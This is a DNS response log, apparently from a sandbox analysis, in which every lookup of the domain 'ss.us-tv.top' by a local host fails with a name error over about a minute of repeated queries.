Nov 2, 2024 03:56:43.323474884 CET	1.1.1.1	192.168.2.15	0xb7d0	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:44.423754930 CET	1.1.1.1	192.168.2.15	0x8f8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:44.424947977 CET	1.1.1.1	192.168.2.15	0x4904	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:44.430402994 CET	1.1.1.1	192.168.2.15	0x8f8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:44.431583881 CET	1.1.1.1	192.168.2.15	0x4904	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:45.532069921 CET	1.1.1.1	192.168.2.15	0xdfca	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:45.539890051 CET	1.1.1.1	192.168.2.15	0xdfca	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:45.684010029 CET	1.1.1.1	192.168.2.15	0xd82f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:46.359401941 CET	1.1.1.1	192.168.2.15	0xd82f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:47.579621077 CET	1.1.1.1	192.168.2.15	0xea4d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:47.588390112 CET	1.1.1.1	192.168.2.15	0xea4d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:47.686847925 CET	1.1.1.1	192.168.2.15	0x8e2c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:47.694539070 CET	1.1.1.1	192.168.2.15	0x8e2c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:48.712760925 CET	1.1.1.1	192.168.2.15	0xec67	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:48.720489025 CET	1.1.1.1	192.168.2.15	0xec67	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:48.794210911 CET	1.1.1.1	192.168.2.15	0x6e8c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:48.801068068 CET	1.1.1.1	192.168.2.15	0x6e8c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:49.817115068 CET	1.1.1.1	192.168.2.15	0x8493	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:49.824107885 CET	1.1.1.1	192.168.2.15	0x8493	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:49.902362108 CET	1.1.1.1	192.168.2.15	0xf3c5	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:49.909210920 CET	1.1.1.1	192.168.2.15	0xf3c5	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:50.923687935 CET	1.1.1.1	192.168.2.15	0x5914	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:50.930458069 CET	1.1.1.1	192.168.2.15	0x5914	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:51.129616976 CET	1.1.1.1	192.168.2.15	0xbafe	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:51.136665106 CET	1.1.1.1	192.168.2.15	0xbafe	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:52.239595890 CET	1.1.1.1	192.168.2.15	0x7c09	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:52.239986897 CET	1.1.1.1	192.168.2.15	0x45f4	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:52.246391058 CET	1.1.1.1	192.168.2.15	0x7c09	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:52.246606112 CET	1.1.1.1	192.168.2.15	0x45f4	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:53.260370970 CET	1.1.1.1	192.168.2.15	0x9c43	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:53.260504007 CET	1.1.1.1	192.168.2.15	0xcf59	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:53.267045021 CET	1.1.1.1	192.168.2.15	0xcf59	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:53.267136097 CET	1.1.1.1	192.168.2.15	0x9c43	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:54.365289927 CET	1.1.1.1	192.168.2.15	0x73f0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:54.366992950 CET	1.1.1.1	192.168.2.15	0x3bf1	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:54.372117996 CET	1.1.1.1	192.168.2.15	0x73f0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:54.374017000 CET	1.1.1.1	192.168.2.15	0x3bf1	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:55.390638113 CET	1.1.1.1	192.168.2.15	0x5034	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:55.397324085 CET	1.1.1.1	192.168.2.15	0x5034	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:55.473798990 CET	1.1.1.1	192.168.2.15	0xcaac	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:55.480601072 CET	1.1.1.1	192.168.2.15	0xcaac	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:56.499214888 CET	1.1.1.1	192.168.2.15	0x82ec	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:56.501727104 CET	1.1.1.1	192.168.2.15	0xac2e	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:56.505834103 CET	1.1.1.1	192.168.2.15	0x82ec	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:56.509320021 CET	1.1.1.1	192.168.2.15	0xac2e	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:57.607742071 CET	1.1.1.1	192.168.2.15	0x562f	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:57.608231068 CET	1.1.1.1	192.168.2.15	0x1cd8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:57.614485979 CET	1.1.1.1	192.168.2.15	0x562f	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:57.614918947 CET	1.1.1.1	192.168.2.15	0x1cd8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:58.634378910 CET	1.1.1.1	192.168.2.15	0xba8d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:58.640919924 CET	1.1.1.1	192.168.2.15	0xba8d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:58.955229998 CET	1.1.1.1	192.168.2.15	0x9403	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:58.961972952 CET	1.1.1.1	192.168.2.15	0x9403	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:00.061259031 CET	1.1.1.1	192.168.2.15	0xeb70	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:00.068133116 CET	1.1.1.1	192.168.2.15	0xeb70	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:00.299206018 CET	1.1.1.1	192.168.2.15	0x7b6c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:00.306143999 CET	1.1.1.1	192.168.2.15	0x7b6c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:01.408377886 CET	1.1.1.1	192.168.2.15	0x30ad	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:01.415138006 CET	1.1.1.1	192.168.2.15	0x1f8a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:01.415155888 CET	1.1.1.1	192.168.2.15	0x30ad	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:01.422051907 CET	1.1.1.1	192.168.2.15	0x1f8a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:02.449332952 CET	1.1.1.1	192.168.2.15	0xbe03	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:02.456052065 CET	1.1.1.1	192.168.2.15	0xbe03	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:02.740021944 CET	1.1.1.1	192.168.2.15	0x469d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:03.386111975 CET	1.1.1.1	192.168.2.15	0x469d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:04.485279083 CET	1.1.1.1	192.168.2.15	0x7802	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:04.490870953 CET	1.1.1.1	192.168.2.15	0x772a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:04.493020058 CET	1.1.1.1	192.168.2.15	0x7802	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:04.498410940 CET	1.1.1.1	192.168.2.15	0x772a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:05.514980078 CET	1.1.1.1	192.168.2.15	0x58c7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:05.521600962 CET	1.1.1.1	192.168.2.15	0x58c7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:05.598397970 CET	1.1.1.1	192.168.2.15	0xa548	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:05.605129957 CET	1.1.1.1	192.168.2.15	0xa548	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:06.705168962 CET	1.1.1.1	192.168.2.15	0x1429	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:06.706090927 CET	1.1.1.1	192.168.2.15	0xd0ad	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:06.712141991 CET	1.1.1.1	192.168.2.15	0x1429	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:06.712996960 CET	1.1.1.1	192.168.2.15	0xd0ad	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:07.727957010 CET	1.1.1.1	192.168.2.15	0x8f7e	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:07.817923069 CET	1.1.1.1	192.168.2.15	0x5b53	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:07.824551105 CET	1.1.1.1	192.168.2.15	0x5b53	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:07.897994041 CET	1.1.1.1	192.168.2.15	0x8f7e	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:08.998522043 CET	1.1.1.1	192.168.2.15	0xd7c6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:08.999469995 CET	1.1.1.1	192.168.2.15	0x1fa6	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:09.006397009 CET	1.1.1.1	192.168.2.15	0xd7c6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:09.007323980 CET	1.1.1.1	192.168.2.15	0x1fa6	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:10.023883104 CET	1.1.1.1	192.168.2.15	0x9b17	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:10.024707079 CET	1.1.1.1	192.168.2.15	0xc880	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:10.030486107 CET	1.1.1.1	192.168.2.15	0x9b17	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:10.031199932 CET	1.1.1.1	192.168.2.15	0xc880	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:11.049876928 CET	1.1.1.1	192.168.2.15	0x68bf	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:11.057028055 CET	1.1.1.1	192.168.2.15	0x68bf	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:11.331171036 CET	1.1.1.1	192.168.2.15	0x91ad	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:11.337959051 CET	1.1.1.1	192.168.2.15	0x91ad	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:12.357480049 CET	1.1.1.1	192.168.2.15	0xc230	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:12.364358902 CET	1.1.1.1	192.168.2.15	0xc230	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:12.440345049 CET	1.1.1.1	192.168.2.15	0x5f71	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:12.610538960 CET	1.1.1.1	192.168.2.15	0x5f71	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:13.711165905 CET	1.1.1.1	192.168.2.15	0x33cd	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:13.712097883 CET	1.1.1.1	192.168.2.15	0xcd1a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:13.718564987 CET	1.1.1.1	192.168.2.15	0x33cd	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:13.718997002 CET	1.1.1.1	192.168.2.15	0xcd1a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:14.823204994 CET	1.1.1.1	192.168.2.15	0xe4ec	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:14.830557108 CET	1.1.1.1	192.168.2.15	0xe4ec	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:15.109061003 CET	1.1.1.1	192.168.2.15	0x754a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:15.201579094 CET	1.1.1.1	192.168.2.15	0x754a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:15.205183029 CET	1.1.1.1	192.168.2.15	0x8250	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:15.212078094 CET	1.1.1.1	192.168.2.15	0x8250	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:16.228676081 CET	1.1.1.1	192.168.2.15	0x645f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:16.229512930 CET	1.1.1.1	192.168.2.15	0x514c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:16.235481024 CET	1.1.1.1	192.168.2.15	0x645f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:16.359838009 CET	1.1.1.1	192.168.2.15	0x514c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:17.375998020 CET	1.1.1.1	192.168.2.15	0xc98	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:17.383095026 CET	1.1.1.1	192.168.2.15	0xc98	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:17.678738117 CET	1.1.1.1	192.168.2.15	0x704f	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:17.836589098 CET	1.1.1.1	192.168.2.15	0x704f	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:18.856550932 CET	1.1.1.1	192.168.2.15	0x9d03	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:18.863289118 CET	1.1.1.1	192.168.2.15	0x9d03	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:19.174115896 CET	1.1.1.1	192.168.2.15	0xf16c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:19.181022882 CET	1.1.1.1	192.168.2.15	0xf16c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:20.430836916 CET	1.1.1.1	192.168.2.15	0x6306	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:20.437984943 CET	1.1.1.1	192.168.2.15	0x6306	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:20.513511896 CET	1.1.1.1	192.168.2.15	0x7743	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:20.520152092 CET	1.1.1.1	192.168.2.15	0x7743	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:21.619529009 CET	1.1.1.1	192.168.2.15	0x4864	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:21.624906063 CET	1.1.1.1	192.168.2.15	0x3913	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:21.626497984 CET	1.1.1.1	192.168.2.15	0x4864	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:21.631685019 CET	1.1.1.1	192.168.2.15	0x3913	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:22.654236078 CET	1.1.1.1	192.168.2.15	0x35bc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:22.654398918 CET	1.1.1.1	192.168.2.15	0x83ae	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:22.660813093 CET	1.1.1.1	192.168.2.15	0x35bc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:22.660988092 CET	1.1.1.1	192.168.2.15	0x83ae	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:23.759706020 CET	1.1.1.1	192.168.2.15	0x7e65	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:23.762468100 CET	1.1.1.1	192.168.2.15	0xb0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:23.766525030 CET	1.1.1.1	192.168.2.15	0x7e65	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:23.769078016 CET	1.1.1.1	192.168.2.15	0xb0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:24.789097071 CET	1.1.1.1	192.168.2.15	0x86af	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:24.795768976 CET	1.1.1.1	192.168.2.15	0x86af	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:24.874471903 CET	1.1.1.1	192.168.2.15	0x63cc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:24.881274939 CET	1.1.1.1	192.168.2.15	0x63cc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:25.899643898 CET	1.1.1.1	192.168.2.15	0x7553	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:25.906299114 CET	1.1.1.1	192.168.2.15	0x7553	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:25.980204105 CET	1.1.1.1	192.168.2.15	0x7a40	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:25.987251043 CET	1.1.1.1	192.168.2.15	0x7a40	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:27.011641979 CET	1.1.1.1	192.168.2.15	0xe9b2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:27.019432068 CET	1.1.1.1	192.168.2.15	0xe9b2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:27.093394995 CET	1.1.1.1	192.168.2.15	0xa048	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:27.100274086 CET	1.1.1.1	192.168.2.15	0xa048	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:28.117352009 CET	1.1.1.1	192.168.2.15	0xbda5	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:28.118022919 CET	1.1.1.1	192.168.2.15	0x94bb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:28.125044107 CET	1.1.1.1	192.168.2.15	0x94bb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:28.969317913 CET	1.1.1.1	192.168.2.15	0xbda5	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:29.985008955 CET	1.1.1.1	192.168.2.15	0x5069	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:29.989797115 CET	1.1.1.1	192.168.2.15	0x2e54	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:29.991931915 CET	1.1.1.1	192.168.2.15	0x5069	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:29.996556044 CET	1.1.1.1	192.168.2.15	0x2e54	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:31.101315975 CET	1.1.1.1	192.168.2.15	0xa08a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:31.108345032 CET	1.1.1.1	192.168.2.15	0xa08a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:31.318897963 CET	1.1.1.1	192.168.2.15	0x1412	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:31.326085091 CET	1.1.1.1	192.168.2.15	0x1412	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:32.340282917 CET	1.1.1.1	192.168.2.15	0x977c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:32.342283010 CET	1.1.1.1	192.168.2.15	0x53a0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:32.347004890 CET	1.1.1.1	192.168.2.15	0x977c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:32.474792004 CET	1.1.1.1	192.168.2.15	0x53a0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:33.492866039 CET	1.1.1.1	192.168.2.15	0x4308	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:33.499089003 CET	1.1.1.1	192.168.2.15	0x2775	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:33.499454021 CET	1.1.1.1	192.168.2.15	0x4308	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:33.505800009 CET	1.1.1.1	192.168.2.15	0x2775	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:34.525408030 CET	1.1.1.1	192.168.2.15	0xa919	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:34.525845051 CET	1.1.1.1	192.168.2.15	0x3eeb	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:34.532120943 CET	1.1.1.1	192.168.2.15	0xa919	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:34.532406092 CET	1.1.1.1	192.168.2.15	0x3eeb	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:35.550261021 CET	1.1.1.1	192.168.2.15	0x74c9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:35.550467014 CET	1.1.1.1	192.168.2.15	0x3592	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:35.556951046 CET	1.1.1.1	192.168.2.15	0x74c9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:35.556960106 CET	1.1.1.1	192.168.2.15	0x3592	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:36.879260063 CET	1.1.1.1	192.168.2.15	0x808b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:36.879409075 CET	1.1.1.1	192.168.2.15	0xfa8f	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:36.886710882 CET	1.1.1.1	192.168.2.15	0xfa8f	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:37.054233074 CET	1.1.1.1	192.168.2.15	0x808b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:38.068396091 CET	1.1.1.1	192.168.2.15	0xd543	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:38.074980021 CET	1.1.1.1	192.168.2.15	0xd543	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:38.374315977 CET	1.1.1.1	192.168.2.15	0xea3e	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:38.381268024 CET	1.1.1.1	192.168.2.15	0xea3e	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:39.400476933 CET	1.1.1.1	192.168.2.15	0x7cb6	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
